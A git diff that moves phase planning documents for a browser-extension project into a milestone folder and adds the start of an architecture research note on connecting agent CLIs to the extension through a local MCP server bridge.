b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-07-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-08-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-09-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-09-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-09-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-09-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-10-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-10-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-10-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-10-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-11-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-11-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-11-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-11-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-12-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-12-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-12-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-12-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-CONTEXT.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-CONTEXT.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-CONTEXT.md diff --git a/.planning/phases/63-native-messaging-host/63-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-HUMAN-UAT.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-HUMAN-UAT.md diff --git a/.planning/phases/63-native-messaging-host/63-PATTERNS.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-PATTERNS.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-PATTERNS.md diff --git a/.planning/phases/63-native-messaging-host/63-RESEARCH.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-RESEARCH.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-RESEARCH.md diff --git a/.planning/phases/63-native-messaging-host/63-REVIEW.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-REVIEW.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-REVIEW.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-REVIEW.md diff --git a/.planning/phases/63-native-messaging-host/63-SECURITY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-SECURITY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-SECURITY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-SECURITY.md diff --git a/.planning/phases/63-native-messaging-host/63-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-REVIEW.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-REVIEW.md diff --git a/.planning/phases/63-native-messaging-host/63-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-SPEC.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-SPEC.md diff --git a/.planning/phases/63-native-messaging-host/63-VALIDATION.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VALIDATION.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VALIDATION.md diff --git a/.planning/phases/63-native-messaging-host/63-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VERIFICATION.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VERIFICATION.md diff --git a/.planning/phases/64-opencode-adapter/64-01-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-02-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-03-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-04-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-05-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-06-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-07-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-08-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-09-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-09-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-09-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-09-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-10-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-10-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-10-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-10-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-11-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-11-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-11-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-11-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-12-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-12-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-12-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-12-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-13-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-13-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-13-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-13-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-CONTEXT.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-CONTEXT.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-CONTEXT.md diff --git a/.planning/phases/64-opencode-adapter/64-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-HUMAN-UAT.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-HUMAN-UAT.md diff --git a/.planning/phases/64-opencode-adapter/64-PATTERNS.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-PATTERNS.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-PATTERNS.md diff --git a/.planning/phases/64-opencode-adapter/64-RESEARCH.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-RESEARCH.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-RESEARCH.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.iter2.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.iter2.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.md diff --git a/.planning/phases/64-opencode-adapter/64-SECURITY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-SECURITY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-SECURITY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-SECURITY.md diff --git a/.planning/phases/64-opencode-adapter/64-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-REVIEW.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-REVIEW.md diff --git a/.planning/phases/64-opencode-adapter/64-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-SPEC.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-SPEC.md diff --git a/.planning/phases/64-opencode-adapter/64-VALIDATION.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VALIDATION.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VALIDATION.md diff --git a/.planning/phases/64-opencode-adapter/64-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VERIFICATION.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VERIFICATION.md diff --git a/.planning/phases/65-codex-adapter/65-01-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-02-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-03-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-04-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-05-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-06-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-07-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-08-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-CONTEXT.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-CONTEXT.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-CONTEXT.md diff --git a/.planning/phases/65-codex-adapter/65-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-HUMAN-UAT.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-HUMAN-UAT.md diff --git a/.planning/phases/65-codex-adapter/65-RESEARCH.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-RESEARCH.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-RESEARCH.md diff --git a/.planning/phases/65-codex-adapter/65-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW-FIX.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW-FIX.md diff --git a/.planning/phases/65-codex-adapter/65-REVIEW.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-REVIEW.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW.md diff --git a/.planning/phases/65-codex-adapter/65-SECURITY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-SECURITY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-SECURITY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-SECURITY.md diff --git a/.planning/phases/65-codex-adapter/65-UI-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW-FIX.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-UI-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW-FIX.md diff --git a/.planning/phases/65-codex-adapter/65-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW.md diff --git a/.planning/phases/65-codex-adapter/65-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-SPEC.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-SPEC.md diff --git a/.planning/phases/65-codex-adapter/65-VALIDATION.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-VALIDATION.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-VALIDATION.md diff --git a/.planning/phases/65-codex-adapter/65-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-VERIFICATION.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-VERIFICATION.md diff --git a/.planning/milestones/v0.9.91-research/ARCHITECTURE.md b/.planning/milestones/v0.9.91-research/ARCHITECTURE.md new file mode 100644 index 000000000..5122a6598 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/ARCHITECTURE.md @@ -0,0 +1,341 @@ +# Architecture Research: v0.9.91 MCP Clients as Providers + +**Domain:** Chrome MV3 extension + local MCP server ecosystem — installed agent CLIs as first-class side-panel providers +**Milestone:** v0.9.91 — SUBSEQUENT milestone; maps four features onto the existing FSB architecture (extension SW + ws://7225 hub/relay bridge + fsb-mcp-server stdio/serve). Existing architecture is mapped, not redesigned. +**Researched:** 2026-07-10 +**Confidence:** HIGH (every integration point verified against source at file:line; SDK `getClientVersion` verified via Context7; spawned-CLI flag surface is MEDIUM-LOW — see Open Questions) + +> Canonical-path note: per this directory's convention (see the header of `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.2.0 research is preserved at `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`. + +This is a brownfield integration map answering: (a) exact seams per feature, (b) new components, (c) data flows, (d) build order, (e) which process owns spawning, (f) delegation coexistence with the extension's own agent loop. + +--- + +## 1. Existing System Overview (verified) + +``` ++------------------------------ Chrome (MV3) -------------------------------+ +| Side panel (ui/sidepanel.js) Control panel (ui/options.js + | +| startAutomation/stopAutomation control_panel.html "API Config") | +| runtime msgs :1506/:1558 modelProvider select :146/:157 | +| | | | +| v v | +| background.js service worker -- fsbHandleRuntimeMessage :7610 | +| handleStartAutomation :8912 --> agent-loop.js runAgentLoop :1180 | +| handleStopAutomation :9559 (BYOK via universal-provider.js) | +| fsbAgentRegistryInstance (utils/agent-registry.js, global export :1468) | +| ^ | +| | dispatchMcpMessageRoute / dispatchMcpToolRoute | +| ws/mcp-bridge-client.js <---- ws://localhost:7225 ----+ | +| (_connectionId minted at onopen :127; | | +| routes agent:register et al :391-415) | | ++--------------------------------------------------------+------------------+ + | + +--------------------- Node processes ------------+----------------+ + | WebSocketBridge (mcp/src/bridge.ts) | + | hub (port 7225 owner) <-- relay:hello -- relay clients | + | hub-exit promotion with jitter :756-783 | + | | + | fsb-mcp-server stdio (per MCP client; index.ts :243) | + | fsb-mcp-server serve (HTTP daemon; index.ts :266, http.ts) | + | each createRuntime(): McpServer + AgentScope (runtime.ts :31) | + | AgentScope.ensure -> agent:register payload {} (:59-62) | + +------------------------------------------------------------------+ + ^ + | MCP stdio / Streamable HTTP + External MCP clients (Claude Code, Cursor, Codex, ...) + installed via install.ts / platforms.ts PLATFORMS (:77) +``` + +### 